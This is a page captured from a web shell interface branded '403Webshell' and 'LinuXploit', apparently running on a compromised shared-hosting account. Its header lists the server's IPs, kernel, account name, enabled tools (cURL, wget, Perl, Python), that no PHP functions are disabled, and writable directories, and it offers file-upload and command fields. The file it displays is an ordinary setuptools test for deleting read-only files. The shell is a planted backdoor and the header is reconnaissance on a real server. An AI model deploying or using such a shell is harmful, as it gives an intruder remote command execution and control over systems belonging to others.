403Webshell
Server IP : 104.21.93.192  /  Your IP : 216.73.216.73
Web Server : LiteSpeed
System : Linux premium900.web-hosting.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : redwjova ( 1790)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : OFF |  Pkexec : OFF
Directory :  /opt/cloudlinux/venv/lib64/python3.11/site-packages/setuptools/tests/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /opt/cloudlinux/venv/lib64/python3.11/site-packages/setuptools/tests/test_shutil_wrapper.py
import stat
import sys
from unittest.mock import Mock

from setuptools import _shutil


def test_rmtree_readonly(monkeypatch, tmp_path):
    """Verify onerr works as expected"""

    tmp_dir = tmp_path / "with_readonly"
    tmp_dir.mkdir()
    some_file = tmp_dir.joinpath("file.txt")
    some_file.touch()
    some_file.chmod(stat.S_IREAD)

    expected_count = 1 if sys.platform.startswith("win") else 0
    chmod_fn = Mock(wraps=_shutil.attempt_chmod_verbose)
    monkeypatch.setattr(_shutil, "attempt_chmod_verbose", chmod_fn)

    _shutil.rmtree(tmp_dir)
    assert chmod_fn.call_count == expected_count
    assert not tmp_dir.is_dir()

Youez - 2016 - github.com/yon3zu
LinuXploit